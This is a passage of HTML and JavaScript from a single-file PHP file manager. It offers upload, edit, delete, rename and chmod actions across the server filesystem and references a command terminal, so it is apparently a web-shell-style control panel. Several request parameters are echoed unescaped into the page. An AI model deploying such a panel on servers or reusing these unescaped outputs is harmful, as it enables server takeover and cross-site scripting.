<div class="mb-3">
<label class="form-label">Select File</label>
<input type="file" name="file" class="form-control" required>
</div>
<button type="submit" name="upload" class="btn btn-primary">Upload</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="btn btn-secondary">Cancel</a>
</form>
</div>
</div>
<?php elseif (isset($_GET['newfile'])): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-file-plus me-2"></i>Create New File
</div>
<div class="p-4">
<form method="post">
<div class="mb-3">
<label class="form-label">Filename</label>
<input type="text" name="filename" class="form-control" placeholder="example.txt" required>
</div>
<div class="mb-3">
<label class="form-label">Content</label>
<textarea name="content" class="form-control" rows="10" placeholder="File content..."></textarea>
</div>
<button type="submit" name="newfile" class="btn btn-primary">Create</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="btn btn-secondary">Cancel</a>
</form>
</div>
</div>
<?php elseif (isset($_GET['newfolder'])): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-folder-plus me-2"></i>Create New Folder
</div>
<div class="p-4">
<form method="post">
<div class="mb-3">
<label class="form-label">Folder Name</label>
<input type="text" name="foldername" class="form-control" required>
</div>
<button type="submit" name="newfolder" class="btn btn-primary">Create</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="btn btn-secondary">Cancel</a>
</form>
</div>
</div>
<?php elseif (isset($_GET['edit'])): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-edit me-2"></i>Edit File: <?php echo htmlspecialchars(basename(decodePath($_GET['edit']))); ?>
</div>
<div class="p-4">
<?php
$edit_path = decodePath($_GET['edit']);
if (file_exists($edit_path) && !is_dir($edit_path)) {
$content = htmlspecialchars(file_get_contents($edit_path));
?>
<form method="post">
<input type="hidden" name="filepath" value="<?php echo $_GET['edit']; ?>">
<div class="mb-3">
<textarea name="content" class="form-control" rows="20" style="font-family: 'Consolas', monospace; border-radius: var(--radius-sm);"><?php echo $content; ?></textarea>
</div>
<button type="submit" name="savefile" class="btn btn-primary">Save</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="btn btn-secondary">Cancel</a>
</form>
<?php } ?>
</div>
</div>
<?php elseif (isset($_GET['chmod_form'])): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-shield-alt me-2"></i>Change Permissions: <?php echo htmlspecialchars(basename(decodePath($_GET['chmod_form']))); ?>
</div>
<div class="p-4">
<form method="get">
<input type="hidden" name="p" value="<?php echo encodePath($current_path); ?>">
<input type="hidden" name="chmod" value="<?php echo $_GET['chmod_form']; ?>">
<div class="mb-3">
<label class="form-label">Permissions (Octal)</label>
<input type="text" name="mode" class="form-control" value="755" placeholder="e.g., 755, 644, 777">
<div class="form-text">
Common permissions: 755 (folders), 644 (files), 777 (full access)
</div>
</div>
<button type="submit" class="btn btn-primary">Change</button>
<a href="?p=<?php echo encodePath($current_path); ?>" class="btn btn-secondary">Cancel</a>
</form>
</div>
</div>
<?php else: ?>
<!-- Folders List (including parent directory) -->
<?php if (!empty($folders) || ($current_path !== '/' && $current_path !== $root_path)): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-folder me-2"></i>Folders (<?php echo count($folders) + (($current_path !== '/' && $current_path !== $root_path) ? 1 : 0); ?>)
</div>
<?php if ($current_path !== '/' && $current_path !== $root_path): ?>
<!-- Parent Directory Link -->
<div class="file-item folder">
<div class="file-icon" style="background: rgba(245,158,11,0.15); color: #f59e0b; border-color: rgba(245,158,11,0.3);">
<i class="fas fa-level-up-alt"></i>
</div>
<div class="file-name">
<a href="?p=<?php echo encodePath(dirname($current_path)); ?>">
<i class="fas fa-level-up-alt me-2"></i>.. (Parent Directory)
</a>
</div>
<div class="file-meta">
<span><i class="fas fa-arrow-up"></i> Go up one level</span>
<span><i class="fas fa-info-circle"></i> Parent folder</span>
</div>
<div class="file-actions">
<!-- No actions for parent directory -->
</div>
</div>
<?php endif; ?>
<?php foreach ($folders as $folder): ?>
<?php
$path = $current_path . '/' . $folder;
$modified = humanDate(filemtime($path));
$perms = getFilePermissions($path);
?>
<div class="file-item folder">
<div class="file-icon">
<i class="fas fa-folder"></i>
</div>
<div class="file-name">
<a href="?p=<?php echo encodePath($path); ?>">
<i class="fas fa-folder me-2"></i><?php echo htmlspecialchars($folder); ?>
</a>
</div>
<div class="file-meta">
<span><i class="far fa-clock"></i> <?php echo $modified; ?></span>
<span><i class="fas fa-shield-alt"></i> <?php echo $perms; ?></span>
<span><i class="fas fa-folder"></i> Directory</span>
</div>
<div class="file-actions">
<button class="action-btn" onclick="showRenameModal('<?php echo encodePath($path); ?>', '<?php echo htmlspecialchars(addslashes($folder)); ?>', 'folder')" title="Rename">
<i class="fas fa-edit"></i>
</button>
<button class="action-btn" onclick="showChmodModal('<?php echo encodePath($path); ?>')" title="Permissions">
<i class="fas fa-shield-alt"></i>
</button>
<button class="action-btn" onclick="deleteItem('<?php echo encodePath($path); ?>')" title="Delete">
<i class="fas fa-trash"></i>
</button>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Files List -->
<?php if (!empty($files)): ?>
<div class="file-list">
<div class="file-header">
<i class="fas fa-file me-2"></i>Files (<?php echo count($files); ?>)
</div>
<?php foreach ($files as $file): ?>
<?php
$path = $current_path . '/' . $file;
$size = formatSize(filesize($path));
$modified = humanDate(filemtime($path));
$perms = getFilePermissions($path);
$icon = getFileIcon($file);
?>
<div class="file-item file">
<div class="file-icon">
<i class="fas <?php echo $icon; ?>"></i>
</div>
<div class="file-name">
<?php echo htmlspecialchars($file); ?>
</div>
<div class="file-meta">
<span><i class="fas fa-weight-hanging"></i> <?php echo $size; ?></span>
<span><i class="far fa-clock"></i> <?php echo $modified; ?></span>
<span><i class="fas fa-shield-alt"></i> <?php echo $perms; ?></span>
</div>
<div class="file-actions">
<?php if (in_array(strtolower(pathinfo($file, PATHINFO_EXTENSION)), ['txt','php','html','css','js','json','xml','py','sh','bash','md'])): ?>
<button class="action-btn" onclick="editFile('<?php echo encodePath($path); ?>')" title="Edit">
<i class="fas fa-edit"></i>
</button>
<?php endif; ?>
<button class="action-btn" onclick="downloadFile('<?php echo encodePath($path); ?>')" title="Download">
<i class="fas fa-download"></i>
</button>
<button class="action-btn" onclick="showRenameModal('<?php echo encodePath($path); ?>', '<?php echo htmlspecialchars(addslashes($file)); ?>', 'file')" title="Rename">
<i class="fas fa-edit"></i>
</button>
<button class="action-btn" onclick="showChmodModal('<?php echo encodePath($path); ?>')" title="Permissions">
<i class="fas fa-shield-alt"></i>
</button>
<button class="action-btn" onclick="deleteItem('<?php echo encodePath($path); ?>')" title="Delete">
<i class="fas fa-trash"></i>
</button>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Empty State -->
<?php if (empty($folders) && empty($files) && $current_path === $root_path): ?>
<div class="empty-state">
<i class="fas fa-folder-open"></i>
<h4>Empty Directory</h4>
<p>This folder is empty. Upload files or create subfolders to get started.</p>
<div class="mt-3">
<a href="?p=<?php echo encodePath($current_path); ?>&upload" class="btn btn-primary me-2">
<i class="fas fa-upload me-1"></i> Upload File
</a>
<a href="?p=<?php echo encodePath($current_path); ?>&newfolder" class="btn btn-secondary">
<i class="fas fa-folder-plus me-1"></i> New Folder
</a>
</div>
</div>
<?php endif; ?>
<?php endif; ?>
<!-- Footer Info -->
<div class="footer-info">
<i class="fas fa-server me-1"></i> PHP <?php echo phpversion(); ?> |
<i class="fas fa-hdd me-1"></i> <?php echo formatSize($free_space); ?> free |
<i class="fas fa-clock me-1"></i> Session: <?php echo date('H:i:s'); ?> |
<i class="fas fa-folder me-1"></i> <?php echo htmlspecialchars($current_path); ?>
</div>
</div>
<!-- Rename Modal -->
<div class="modal fade" id="renameModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Rename Item</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form id="renameForm" method="get">
<input type="hidden" name="p" value="<?php echo encodePath($current_path); ?>">
<input type="hidden" id="renamePath" name="rename">
<div class="mb-3">
<label for="newName" class="form-label">New Name</label>
<input type="text" class="form-control" id="newName" name="newname" required>
<div class="form-text" id="renameHelp">Enter new name for the item</div>
</div>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" form="renameForm" class="btn btn-primary">Rename</button>
</div>
</div>
</div>
</div>
<!-- Chmod Modal -->
<div class="modal fade" id="chmodModal" tabindex="-1" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Change Permissions</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form id="chmodForm" method="get">
<input type="hidden" name="p" value="<?php echo encodePath($current_path); ?>">
<input type="hidden" id="chmodPath" name="chmod">
<div class="mb-3">
<label for="chmodMode" class="form-label">Permissions (Octal)</label>
<input type="text" class="form-control" id="chmodMode" name="mode" value="755" required>
<div class="form-text">
Common: 755 (folders), 644 (files), 777 (full access)<br>
Format: 3-4 digits (0-7)
</div>
</div>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" form="chmodForm" class="btn btn-primary">Change</button>
</div>
</div>
</div>
</div>
<!-- Bootstrap JS -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
<!-- JavaScript -->
<script>
function deleteItem(path) {
Swal.fire({
title: 'Are you sure?',
text: "You won't be able to revert this!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#8b5cf6',
cancelButtonColor: '#6b7280',
confirmButtonText: 'Yes, delete it!'
}).then((result) => {
if (result.isConfirmed) {
window.location.href = '?p=<?php echo encodePath($current_path); ?>&delete=' + encodeURIComponent(path);
}
});
}
function downloadFile(path) {
window.location.href = '?p=<?php echo encodePath($current_path); ?>&download=' + encodeURIComponent(path);
}
function editFile(path) {
window.location.href = '?p=<?php echo encodePath($current_path); ?>&edit=' + encodeURIComponent(path);
}
function showRenameModal(path, currentName, type) {
document.getElementById('renamePath').value = path;
document.getElementById('newName').value = currentName;
document.getElementById('renameHelp').textContent = `Enter new name for the ${type}`;
const renameModal = new bootstrap.Modal(document.getElementById('renameModal'));
renameModal.show();
// Focus on input field
setTimeout(() => {
document.getElementById('newName').focus();
document.getElementById('newName').select();
}, 500);
}
function showChmodModal(path) {
document.getElementById('chmodPath').value = path;
const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal'));
chmodModal.show();
// Focus on input field
setTimeout(() => {
document.getElementById('chmodMode').focus();
document.getElementById('chmodMode').select();
}, 500);
}
// Auto-scroll terminal output to bottom
<?php if (isset($_GET['terminal'])): ?>
document.addEventListener('DOMContentLoaded', function() {
const terminalOutput = document.getElementById('terminalOutput');
if (terminalOutput) {
terminalOutput.scrollTop = terminalOutput.scrollHeight;
}
// Auto-focus terminal input
const terminalInput = document.querySelector('input[name="terminal_cmd"]');
if (terminalInput) {
terminalInput.focus();
terminalInput.select();
}
});
<?php endif; ?>
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
// Ctrl+Enter to submit terminal form
if (e.ctrlKey && e.key === 'Enter' && document.querySelector('input[name="terminal_cmd"]')) {
document.querySelector('form.terminal-input').submit();
}
// Escape to close modals
if (e.key === 'Escape') {
const modals = document.querySelectorAll('.modal.show');
modals.forEach(modal => {
bootstrap.Modal.getInstance(modal).hide();
});
}
});
// Test navigation
console.log('Current path:', '<?php echo $current_path; ?>');
console.log('Root path:', '<?php echo $root_path; ?>');
</script>
</body>
</html>